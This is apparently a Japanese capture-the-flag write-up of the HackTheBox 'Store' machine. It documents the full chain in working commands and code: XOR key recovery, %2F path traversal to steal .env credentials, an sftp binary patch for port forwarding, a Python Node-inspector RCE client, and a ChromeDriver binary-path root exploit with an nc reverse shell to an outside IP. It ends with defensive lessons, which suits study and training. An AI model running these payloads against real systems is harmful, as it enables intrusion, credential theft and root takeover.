HackTheBox: Store — 全実行コマンド・実行結果レポート
Nmap スキャン
22/5000/5001/5002
→
22/5000/5001/5002
既知平文でXOR鍵復元
鍵長9バイト固定XOR
→
鍵長9バイト固定XOR
/file パストラバーサル(AFR)
%2Fエンコードで突破
→
%2Fエンコードで突破
.env窃取
SFTP資格情報 + SECRET
→
SFTP資格情報 + SECRET
sftpバイナリパッチ
-oClearAllForwardings無効化
→
-oClearAllForwardings無効化
Node –inspect CDP RCE
process.mainModule.require
→
process.mainModule.require
dev シェル取得
user.txt ✓
→
user.txt ✓
root稼働ChromeDriver発見
localhost:9515
→
localhost:9515
/session RCE
goog:chromeOptions.binary差替
→
goog:chromeOptions.binary差替
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(主要ポート → 全ポート)
BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,...,5000,...,50000 \ -T4 --max-retries 3 10.129.238.32
RESULT
Not shown: 55 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.238.32
RESULT
22/tcp open ssh 5000/tcp open upnp 5001/tcp open commplex-link 5002/tcp open rfe 61802/tcp filtered unknown
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,5000,5001,5002 10.129.238.32
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 30:68:b8:a8:f5:47:ca:bf:1a:23:97:d5:4c:77:97:da (ECDSA) |_ 256 3f:83:9f:53:0a:49:db:00:d5:18:85:e9:2f:05:76:dd (ED25519) 5000/tcp open http Node.js (Express middleware) |_http-title: Secure Encrypted Storage - 01001101 01101001... 5001/tcp open http Node.js (Express middleware) |_http-title: Secure Encrypted Storage - 01001101 01101001... 5002/tcp open http Node.js (Express middleware) |_http-title: Secure Encrypted Storage - 01001101 01101001... Service Info: OS: Linux
🚨
重要発見: ポート 5000〜5002 に同一のNode.js/Expressアプリ「Secure Encrypted Storage」
が3インスタンス稼働。タイトルのバイナリ文字列は
Military Grade の2進数表現(デコードしても
攻略上の意味はないミスリード)。SSHはOpenSSH 8.9p1 Ubuntu = Ubuntu 22.04相当。
アプリの機能確認
BASH
curl -s http://10.129.238.32:5000/ curl -s http://10.129.238.32:5000/list curl -s http://10.129.238.32:5000/upload
ℹ️
エンドポイントは
/(トップ)、/list(アップロード済みファイル一覧)、
/upload(アップロード フォーム、POST時は multipart/form-data フィールド名
imageupload)、/file/<name>(復号済み内容を表示 + base64データURIのダウンロードリンク)、
/tmp/<name>(アップロード直後の暗号化された生ファイルを直接返す、本来web非公開を意図)の5種類。
PHASE 2
既知平文攻撃による固定XOR鍵の復元
テストファイルのアップロード→暗号化版取得
BASH
echo "this is a test" > test.txt curl -s -F "imageupload=@test.txt;filename=test.txt" http://10.129.238.32:5000/upload curl -s http://10.129.238.32:5000/tmp/test.txt | xxd
RESULT
平文: 7468 6973 2069 7320 7461 7374 0a this is a test 暗号文: 3c05 5009 453e 3013 5968 195c 0911 5d <.P.E>0.Yh.\..]
ℹ️
暗号文長 == 平文長 → ブロック暗号ではなくストリームXORの可能性が高い。既知平文と暗号文を
XORすれば鍵(キーストリーム)が復元できる。
キーストリームの復元と周期性の確認
PYTHON
>>> keystream = [c ^ p for c, p in zip(enc, pt)] >>> ''.join(chr(x) for x in keystream[:40]) 'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'
✅
9バイトの固定・循環XOR鍵を特定:
Hm9zeWC38。
全ファイル・全エンドポイント(5000/5001/5002)で同一鍵が使われていることを別ファイルでも確認済み。
後の.env解析で、この文字列がアプリの環境変数 SECRET と完全一致することが判明する
(つまりこの鍵は正規の暗号化鍵そのもので、総当りの必要なく一撃で正解)。
PHASE 3
パストラバーサル(AFR) → SFTP資格情報の窃取
/file エンドポイントのパストラバーサル
NOTE
サーバー側コードは `path.normalize(filePath) == filePath` で検証しているが、 これは「デコード後」の文字列にのみ適用される。`/` を `%2F` としてURLエンコードして 送信すると、Expressのルーティング段階ではパスセグメントとして認識されず、 デコード後に初めて `../../../etc/passwd` のような文字列へ復元されるため、 検証をバイパスして任意ファイル読み取り(AFR)が成立する。
BASH (実際に送信したURL)
curl -s --max-time 15 \ "http://10.129.238.32:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
RESULT (抜粋: HTML内のbase64データURI部分)
<a href="data:application/octet-stream;charset=utf-8;base64,OgJWDl8veQMC..." download="data.bin">Download</a>
ℹ️
/file/<path> は読み込んだ内容を毎回「復号」しようとする実装のため、元から平文の
システムファイル(/etc/passwd等)を渡すと、アプリ側のXOR処理により平文が暗号化された
状態でHTMLに埋め込まれる。したがって受け取ったbase64データを、Phase 2で特定した鍵
Hm9zeWC38 でもう一度XORすれば元の平文が得られる。/proc/self/environ でアプリの起動コマンドを確認
BASH
curl -s --max-time 15 \ "http://10.129.238.32:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron" # → base64抽出 + XOR復号(3-2と同じ手順)
RESULT
npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'
🚨
Webアプリは
node --inspect=127.0.0.1:9229 で起動されている。V8 Inspector(デバッグプロトコル)
が有効だが 127.0.0.1限定で外部から直接は到達不能。後段でSSHポートフォワードが必要になる。
.env ファイルを同手法で窃取
BASH
curl -s --max-time 15 \ "http://10.129.238.32:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fdev%2Fprojects%2Fstore1%2F.env"
RESULT(XOR復号後)
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
窃取した資格情報
sftpuser : WidK52pWBtWQdcVC
✅
SECRET の値がPhase 2で既知平文攻撃から独自に特定した鍵 Hm9zeWC38 と完全一致。
復号処理に誤りがないことの裏付けにもなっている。
PHASE 4
SFTP限定アカウントでのポートフォワード → Node Inspector CDP RCE → user.txt
SFTPアカウントの制約確認
BASH
sshpass -p 'WidK52pWBtWQdcVC' ssh sftpuser@10.129.238.32 # → "This service allows sftp connections only." で通常シェルは拒否される # /etc/passwd 上は /bin/false だが sshd_config の Match User sftpuser ブロックで # ForceCommand internal-sftp が指定されているため sftp サブシステムのみ利用可能
⚠️
制限アカウントだが、
sshd_config の Match User sftpuser ブロックには
AllowTcpForwarding no の指定がない(X11/AgentForwardingのみ無効化)。
つまりSSHレベルのローカルポートフォワードは許可されたままであり、問題は
「標準のsftpコマンドが-L/-Rをサポートしない」という
クライアント側の制約のみ。
sftpクライアントバイナリのバイトパッチ
NOTE
sftp は -S <program> で「裏側で呼び出すssh実行プログラム」を差し替えられる。 そこで -S に「ssh -L19229:127.0.0.1:9229 "$@" を exec するラッパースクリプト」を 指定すれば、sftpサブシステム確立と同時にポートフォワードも張れるはず——だが 実際の sftp クライアントは -S 使用時、転送を無効化する "-oClearAllForwardings yes" を自身で自動付与してしまい、-L 指定が握りつぶされる。 対策: /usr/bin/sftp バイナリ中の文字列 "-oClearAllForwardings yes" を バイト長を変えずに "-oClearAllForwardings no " へ書き換えたパッチ済みバイナリを作成する。
PYTHON (パッチ適用)
data = open('/usr/bin/sftp', 'rb').read()
fixed = data.replace(b'-oClearAllForwardings yes', b'-oClearAllForwardings no ')
assert fixed != data
open('sftp_patched', 'wb').write(fixed)
# chmod +x sftp_patched
BASH (-S ハンドラ)
cat > fwd_handler.sh <<'EOF' #!/bin/sh exec ssh -L19229:127.0.0.1:9229 "$@" EOF chmod +x fwd_handler.sh
パッチ済みsftpでポートフォワード確立
BASH
sshpass -p 'WidK52pWBtWQdcVC' ./sftp_patched \ -S ./fwd_handler.sh -oClearAllForwardings=no \ -o StrictHostKeyChecking=no sftpuser@10.129.238.32 <<'EOF' !sleep 600 exit EOF
RESULT
Connected to 10.129.238.32.
sftp> !sleep 600
# 別ターミナルで確認:
$ ss -tlnp | grep 19229
LISTEN 0 128 127.0.0.1:19229 0.0.0.0:* users:(("ssh",pid=...))
✅
ローカル19229番ポート → ターゲット127.0.0.1:9229(Node Inspector)への転送を確立。
-oClearAllForwardings は 1トークンで =no と結合して渡す必要がある点に注意
(-oClearAllForwardings と no を別々の引数に分けると getopt 解析が崩れ
usage: エラーで即終了する——実際に別引数形式で検証し失敗を確認済み)。
!sleep 600 はローカルコマンド実行でsftpのメインループをブロックし、
その間SSH接続(=ポートフォワード)を維持させるテクニック。
Node Inspector (CDP) 経由でのコマンド実行
NOTE
Node --inspect はChrome DevTools Protocol (CDP) をWebSocket越しに公開する。
手順: ① http://127.0.0.1:19229/json でターゲット(webSocketDebuggerUrl)を取得
② WebSocket接続 → Runtime.enable → Runtime.executionContextCreated
イベントで contextId を取得
③ Runtime.evaluate に { expression: JS, contextId } を送信
注意: chrome://inspect のDevToolsコンソールでは裸の require(...) が使えるが、
スクリプト化したCDPクライアントの評価コンテキストでは require はグローバルに
存在せず ReferenceError になる。process.mainModule.require(...) を使う必要がある。
PYTHON (CDPクライアント本体)
import json, time, requests, websocket
r = requests.get("http://127.0.0.1:19229/json", timeout=10)
ws_url = r.json()[0]["webSocketDebuggerUrl"]
ws = websocket.create_connection(ws_url, timeout=10)
ws.send(json.dumps({"id": 1, "method": "Runtime.enable"}))
context_id = None
while True:
msg = json.loads(ws.recv())
if msg.get("method") == "Runtime.executionContextCreated":
context_id = msg["params"]["context"]["id"]
break
js = "process.mainModule.require('child_process').execSync('whoami').toString()"
ws.send(json.dumps({"id": 2, "method": "Runtime.evaluate",
"params": {"expression": js, "contextId": context_id,
"returnByValue": True}}))
while True:
msg = json.loads(ws.recv())
if msg.get("id") == 2:
print(msg["result"]["result"]["value"])
break
RESULT
$ python3 cdp_exec.py 19229 "whoami" dev $ python3 cdp_exec.py 19229 "cat /home/dev/user.txt" 7c51e31bc4627cefa0c9782b396ac4f9
✅
RCE成功。 execSyncの戻り値をCDPの応答としてそのまま受け取れるため、対話シェルを
別途確立しなくても任意コマンドの出力を直接取得できる(nc等のリバースリスナーも省略可能)。
user.txt 取得
user.txt — dev
7c51e31bc4627cefa0c9782b396ac4f9
PHASE 5
権限昇格の下調べ — root稼働ChromeDriverの発見
リスニングポートの確認(CDP経由で間接実行)
BASH
python3 cdp_exec.py 19229 "ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null"
RESULT
LISTEN 0 511 127.0.0.1:9231 ... node
LISTEN 0 511 127.0.0.1:9230 ... node
LISTEN 0 511 127.0.0.1:9229 ... node (store1/2/3 各インスタンスの--inspectポート)
LISTEN 0 5 127.0.0.1:9515 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:5000 *:* node
LISTEN 0 511 *:5001 *:* node
LISTEN 0 511 *:5002 *:* node
🚨
127.0.0.1:9515 はownerプロセスがdevユーザーの一覧に出てこない=
別ユーザー(root)が保有しているポート。9515はChromeDriverの既定デバッグポート。
ChromeDriverの確認
BASH
python3 cdp_exec.py 19229 "curl -s localhost:9515/status"
RESULT
{"value":{"build":{"version":"110.0.5481.77 (...)"},
"message":"ChromeDriver ready for new sessions.","os":{"arch":"x86_64","name":"Linux",...},"ready":true}}
ℹ️
ChromeDriverの実体は
/root/chromedriverとしてroot権限で稼働している(ps auxww相当の
確認でもroot ... /root/chromedriverであることを確認済み)。既存セッション
(/sessions)は空のため、既存セッション乗っ取り型(Counter Webdriver既知手法の1パターン)は
使えず、新規セッション作成時のgoog:chromeOptions.binary任意パス指定によるRCEを使う。
PHASE 6
ChromeDriver /session RCE → root.txt
rev.sh(偽Chromeバイナリ)の配置
BASH
python3 cdp_exec.py 19229 "printf '%s\n' '#!/bin/sh' \ 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 15555 >/tmp/f' \ > /home/dev/rev_manual.sh && chmod +x /home/dev/rev_manual.sh"
RESULT
#!/bin/sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 15555 >/tmp/f
ℹ️
devユーザー権限で任意の場所にスクリプトを作成できるのは、Phase 4-4のCDP RCEで既に
コマンド実行権を得ているため。このスクリプト自体はdev所有だが、
ChromeDriverに「Chromeバイナリ」と誤認させて実行させることで、
実行者をroot(ChromeDriverの実行ユーザー)に昇格させるのが次のステップ。
リスナー起動 & ChromeDriver /session へのRCEペイロード送信
BASH (ターミナル1: リスナー)
python3 -c "
import socket, time
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('0.0.0.0', 15555)); srv.listen(1)
conn, addr = srv.accept(); print('connected:', addr)
conn.send(b'cat /root/root.txt\n'); time.sleep(3)
print(conn.recv(65536).decode(errors='replace'))
"
HTTP (CDP経由でdevシェルからChromeDriverへPOST)
python3 cdp_exec.py 19229 "curl -s -X POST http://127.0.0.1:9515/session \
-H 'Content-Type: application/json' \
--data-raw '{\"capabilities\": {\"alwaysMatch\": {\"goog:chromeOptions\": \
{\"binary\": \"/home/dev/rev_manual.sh\"}}}}'"
RESULT (リスナー側出力)
[*] listening on 15555
[*] connection from ('10.129.238.32', 56926)
/bin/sh: 0: can't access tty; job control turned off
# ca23cc8c10057147faf469e6bf996391
#
✅
root RCE成功。 ChromeDriverは
goog:chromeOptions.binaryで指定されたパスを
「Chrome実行ファイル」としてexecve()するだけで、実際にChromeかどうかを事前検証しない。
指定したrev_manual.shはもちろんChromeとして起動できず、ChromeDriverは
"unknown error: Chrome failed to start"のようなエラーを返してセッション自体は失敗応答
になるが、スクリプトは既にroot権限で実行済みであり、リバースシェル接続は成立する。
root.txt 取得
root.txt — root
ca23cc8c10057147faf469e6bf996391
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dev
7c51e31bc4627cefa0c9782b396ac4f9
root.txt — root
ca23cc8c10057147faf469e6bf996391
窃取した資格情報・鍵
| 項目 | 値 | 入手経路 |
|---|---|---|
| 固定XOR鍵 | Hm9zeWC38 | 既知平文攻撃(テストファイルのアップロード→暗号文取得) |
| SFTP資格情報 | sftpuser : WidK52pWBtWQdcVC | AFR(パストラバーサル)で .env を窃取・XOR復号 |
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 静的XOR暗号 + 既知平文攻撃 | 自作「暗号化」ストレージ機能 | 暗号化データの完全解読 | Medium | アップロード→暗号文比較で9バイト固定鍵を復元 |
| パストラバーサル (AFR) | Express /file/:file ルート |
任意ファイル読み取り(認証情報・環境変数漏洩) | High | %2Fエンコードで path.normalize チェックをバイパス、XOR復号と組み合わせ平文を取得 |
Node Inspector (--inspect) RCE |
127.0.0.1限定のV8 Inspectorポート | 一般ユーザーとしてのリモートコード実行 | High | 制限SFTPアカウントのSSHポートフォワードで到達、CDP WebSocketでRuntime.evaluate |
ChromeDriver goog:chromeOptions.binary RCE |
localhost限定のChromeDriver (:9515), root権限稼働 | 権限昇格(root RCE) | Critical | /sessionに任意パスを”Chromeバイナリ”として指定、ChromeDriverがそのままexecve() |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/5000/5001/5002、Node.js/Express ×3検出 |
| 2 | 暗号解読 | 既知平文攻撃 | 固定XOR鍵 Hm9zeWC38 |
| 3 | AFR | %2Fエンコード・パストラバーサル + XOR復号 | SFTP資格情報、Node --inspect起動コマンド判明 |
| 4 | ポートフォワード+RCE | sftpバイナリパッチ + Node Inspector CDP | user.txt(devシェル) |
| 5 | 権限調査 | devシェルからのss -tlnp | root稼働ChromeDriver(:9515)発見 |
| 6 | 権限昇格RCE | ChromeDriver /session バイナリ差し替え | root.txt(rootシェル) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 自作「暗号化」が固定・循環XORのみで鍵管理もなし | 既成の認証付き暗号(AES-GCM等)を使用し、鍵はファイル/ユーザーごとに一意にする。既知平文攻撃で即時解読される設計を避ける。 |
| パスバリデーションがURLデコード前後の文字列同一性チェックに依存 | デコード後のパスを path.resolve し、許可ディレクトリの外に出ていないかプレフィックス比較で検証する。Expressのルーティング層で複数エンコードを正規化してから検証する。 |
本番相当環境でNode --inspect デバッグポートが有効なまま運用 |
本番では --inspect を無効化する。どうしても必要な場合は認証トークン必須の --inspect-brk や、ネットワーク到達性を厳格に制限する。 |
制限SSHアカウントで AllowTcpForwarding no が未設定 |
Match User ブロックに明示的に AllowTcpForwarding no を追加し、ForceCommand以外の経路(ポートフォワード含む)を確実に封じる。 |
| root権限で稼働するChromeDriverのRemote/WebDriverポートがローカルとはいえ無認証 | ChromeDriverのような強力な自動化ツールをroot権限で動かさない(最小権限の専用ユーザーで実行)。goog:chromeOptions.binaryのようなクライアント指定パスは許可リストで検証する。 |

